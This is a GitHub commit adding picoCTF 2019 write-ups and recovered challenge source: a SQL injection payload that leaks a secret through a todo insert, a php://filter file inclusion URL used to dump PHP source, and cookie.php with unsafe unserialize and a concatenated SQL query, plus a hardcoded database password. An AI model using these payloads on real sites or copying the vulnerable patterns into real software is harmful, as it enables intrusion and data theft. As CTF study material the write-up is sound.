Skip to content

Commit df3fa80

Browse files
onealmondonealmond
committed
[writeup] add picoctf 2019 (part)
1 parent 5679a09 commit df3fa80

File tree

6 files changed

+194
-0
lines changed

6 files changed

+194
-0
lines changed

‎README.md

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -37,6 +37,9 @@
3737
- [SecondLife](picoctf-2019/SecondLife/shellcode.py)
3838
- [Heap Overflow](picoctf-2019/HeapOverflow/shellcode.py)
3939
- [Cereal Hacker 1](picoctf-2019/cereal-hacker1/writeup.md)
40+
- [Cereal Hacker 2](picoctf-2019/cereal-hacker2/writeup.md)
41+
- [Irish-Name-Repo 1](picoctf-2019/Irish-Name-Repo-1/writeup.md)
42+
- [Empire 1](picoctf-2019/Empire1)
4043

4144
# Hacker101 CTF
4245
- [MicroCMS v2](hacker101-ctf/micro-cms-v2/writeup.md)

‎picoctf-2019/Empire1/writeup.md

Lines changed: 18 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,18 @@
1+
* Register a new user and sign in, now we are allowed to create a todo, list todos and list employee.
2+
* In the todo creation page we have an input box to some text.
3+
* Try to create a todo. It result in internal error with ``'``, but ``''`` works.
4+
* There may be tables ``todo``, ``user`` in databases.
5+
6+
The todo creation is to insert a record into the ``todo`` table, the SQL would be like ``INSERT INTO todo VALUES (userid, 'content')``.
7+
8+
Tried out the following line
9+
```
10+
'||(select secret from user where secret like 'pico%' limit 1)||'
11+
```
12+
13+
The insert SQL becomes
14+
```
15+
INSERT INTO todos VALUES (userid, ''||(select secret from user where secret like 'pico%' limit 1)||''
16+
```
17+
18+
Now go to ``Your Todos``, the flag is displayed.

‎picoctf-2019/cereal-hacker2/admin.php

Lines changed: 49 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,49 @@
1+
<?php
2+
3+
require_once('cookie.php');
4+
5+
if(isset($perm) && $perm->is_admin()){
6+
?>
7+
8+
<body>
9+
<div class="container">
10+
<div class="row">
11+
<div class="col-sm-9 col-md-7 col-lg-5 mx-auto">
12+
<div class="card card-signin my-5">
13+
<div class="card-body">
14+
<h5 class="card-title text-center">Welcome to the admin page!</h5>
15+
<h5 style="color:blue" class="text-center">Flag: Find the admin's password!</h5>
16+
</div>
17+
</div>
18+
</div>
19+
</div>
20+
</div>
21+
22+
</body>
23+
24+
<?php
25+
}
26+
else{
27+
?>
28+
29+
<body>
30+
<div class="container">
31+
<div class="row">
32+
<div class="col-sm-9 col-md-7 col-lg-5 mx-auto">
33+
<div class="card card-signin my-5">
34+
<div class="card-body">
35+
<h5 class="card-title text-center">You are not admin!</h5>
36+
<form action="index.php" method="get">
37+
<button class="btn btn-lg btn-primary btn-block text-uppercase" name="file" value="login" type="submit" onclick="document.cookie='user_info=; expires=Thu, 01 Jan 1970 00:00:18 GMT; domain=; path=/;'">Go back to login</button>
38+
</form>
39+
</div>
40+
</div>
41+
</div>
42+
</div>
43+
</div>
44+
45+
</body>
46+
47+
<?php
48+
}
49+
?>

‎picoctf-2019/cereal-hacker2/cookie.php

Lines changed: 91 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,91 @@
1+
<?php
2+
3+
require_once('../sql_connect.php');
4+
5+
// I got tired of my php sessions expiring, so I just put all my useful information in a serialized cookie
6+
class permissions
7+
{
8+
public $username;
9+
public $password;
10+
11+
function __construct($u, $p){
12+
$this->username = $u;
13+
$this->password = $p;
14+
}
15+
16+
function is_admin(){
17+
global $sql_conn;
18+
if($sql_conn->connect_errno){
19+
die('Could not connect');
20+
}
21+
//$q = 'SELECT admin FROM pico_ch2.users WHERE username = \''.$this->username.'\' AND (password = \''.$this->password.'\');';
22+
23+
if (!($prepared = $sql_conn->prepare("SELECT admin FROM pico_ch2.users WHERE username = ? AND password = ?;"))) {
24+
die("SQL error");
25+
}
26+
27+
$prepared->bind_param('ss', $this->username, $this->password);
28+
29+
if (!$prepared->execute()) {
30+
die("SQL error");
31+
}
32+
33+
if (!($result = $prepared->get_result())) {
34+
die("SQL error");
35+
}
36+
37+
$r = $result->fetch_all();
38+
if($result->num_rows !== 1){
39+
$is_admin_val = 0;
40+
}
41+
else{
42+
$is_admin_val = (int)$r[0][0];
43+
}
44+
45+
$sql_conn->close();
46+
return $is_admin_val;
47+
}
48+
}
49+
50+
/* legacy login */
51+
class siteuser
52+
{
53+
public $username;
54+
public $password;
55+
56+
function __construct($u, $p){
57+
$this->username = $u;
58+
$this->password = $p;
59+
}
60+
61+
function is_admin(){
62+
global $sql_conn;
63+
if($sql_conn->connect_errno){
64+
die('Could not connect');
65+
}
66+
$q = 'SELECT admin FROM pico_ch2.users WHERE admin = 1 AND username = \''.$this->username.'\' AND (password = \''.$this->password.'\');';
67+
68+
$result = $sql_conn->query($q);
69+
if($result->num_rows != 1){
70+
$is_user_val = 0;
71+
}
72+
else{
73+
$is_user_val = 1;
74+
}
75+
76+
$sql_conn->close();
77+
return $is_user_val;
78+
}
79+
}
80+
81+
82+
if(isset($_COOKIE['user_info'])){
83+
try{
84+
$perm = unserialize(base64_decode(urldecode($_COOKIE['user_info'])));
85+
}
86+
catch(Exception $except){
87+
die('Deserialization error.');
88+
}
89+
}
90+
91+
?>

‎picoctf-2019/cereal-hacker2/sql_connect.php

Lines changed: 11 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,11 @@
1+
<?php
2+
3+
4+
$sql_server = 'localhost';
5+
$sql_user = 'mysql';
6+
$sql_pass = 'this1sAR@nd0mP@s5w0rD#%';
7+
$sql_conn = new mysqli($sql_server, $sql_user, $sql_pass);
8+
$sql_conn_login = new mysqli($sql_server, $sql_user, $sql_pass);
9+
10+
11+
?>

‎picoctf-2019/cereal-hacker2/writeup.md

Lines changed: 22 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,22 @@
1+
2+
By checking different value for ``file``, it seems combine the parameters with ``.php`` suffix as the argument for inclusion. But the content of the files aren't directly accessible. How about ```php://filter``.
3+
4+
5+
```
6+
https://2019shell1.picoctf.com/problem/62195/index.php?file=php://filter/convert.base64-encode/resource=admin
7+
```
8+
It print a long base64-encoded string. By decoding it we have the ``admin.php`` file.
9+
10+
```
11+
base64 -d <<< PD9waHAKCnJlcXVpcmVfb25jZSgnY29va2llLnBocCcpOwoKaWYoaXNzZXQoJHBlcm0pICYmICRwZXJtLT5pc19hZG1pbigpKXsKPz4KCQoJPGJvZHk+CgkJPGRpdiBjbGFzcz0iY29udGFpbmVyIj4KCQkJPGRpdiBjbGFzcz0icm93Ij4KCQkJCTxkaXYgY2xhc3M9ImNvbC1zbS05IGNvbC1tZC03IGNvbC1sZy01IG14LWF1dG8iPgoJCQkJCTxkaXYgY2xhc3M9ImNhcmQgY2FyZC1zaWduaW4gbXktNSI+CgkJCQkJCTxkaXYgY2xhc3M9ImNhcmQtYm9keSI+CgkJCQkJCQk8aDUgY2xhc3M9ImNhcmQtdGl0bGUgdGV4dC1jZW50ZXIiPldlbGNvbWUgdG8gdGhlIGFkbWluIHBhZ2UhPC9oNT4KCQkJCQkJCTxoNSBzdHlsZT0iY29sb3I6Ymx1ZSIgY2xhc3M9InRleHQtY2VudGVyIj5GbGFnOiBGaW5kIHRoZSBhZG1pbidzIHBhc3N3b3JkITwvaDU+CgkJCQkJCTwvZGl2PgoJCQkJCTwvZGl2PgoJCQkJPC9kaXY+CgkJCTwvZGl2PgoJCTwvZGl2PgoKCTwvYm9keT4KCjw/cGhwCn0KZWxzZXsKPz4KCQoJPGJvZHk+CgkJPGRpdiBjbGFzcz0iY29udGFpbmVyIj4KCQkJPGRpdiBjbGFzcz0icm93Ij4KCQkJCTxkaXYgY2xhc3M9ImNvbC1zbS05IGNvbC1tZC03IGNvbC1sZy01IG14LWF1dG8iPgoJCQkJCTxkaXYgY2xhc3M9ImNhcmQgY2FyZC1zaWduaW4gbXktNSI+CgkJCQkJCTxkaXYgY2xhc3M9ImNhcmQtYm9keSI+CgkJCQkJCQk8aDUgY2xhc3M9ImNhcmQtdGl0bGUgdGV4dC1jZW50ZXIiPllvdSBhcmUgbm90IGFkbWluITwvaDU+CgkJCQkJCQk8Zm9ybSBhY3Rpb249ImluZGV4LnBocCIgbWV0aG9kPSJnZXQiPgoJCQkJCQkJCTxidXR0b24gY2xhc3M9ImJ0biBidG4tbGcgYnRuLXByaW1hcnkgYnRuLWJsb2NrIHRleHQtdXBwZXJjYXNlIiBuYW1lPSJmaWxlIiB2YWx1ZT0ibG9naW4iIHR5cGU9InN1Ym1pdCIgb25jbGljaz0iZG9jdW1lbnQuY29va2llPSd1c2VyX2luZm89OyBleHBpcmVzPVRodSwgMDEgSmFuIDE5NzAgMDA6MDA6MTggR01UOyBkb21haW49OyBwYXRoPS87JyI+R28gYmFjayB0byBsb2dpbjwvYnV0dG9uPgoJCQkJCQkJPC9mb3JtPgoJCQkJCQk8L2Rpdj4KCQkJCQk8L2Rpdj4KCQkJCTwvZGl2PgoJCQk8L2Rpdj4KCQk8L2Rpdj4KCgk8L2JvZHk+Cgo8P3BocAp9Cj8+Cg== > admin.php
12+
```
13+
14+
15+
The file depends on another one, ``cookie.php``.
16+
```
17+
require_once('cookie.php');
18+
```
19+
20+
Fetch ``https://2019shell1.picoctf.com/problem/62195/index.php?file=php://filter/convert.base64-encode/resource=cookie`` and decode, we found the SQL to verify admin login in ``cookie.php`` and another file ``sql_connect.php``.
21+
22+
From ``sql_connect`` we got the database credentials. Connect to mysql server from shell server, the flag is in ``pico_ch2``.``users`` table.

0 commit comments

Comments
 (0)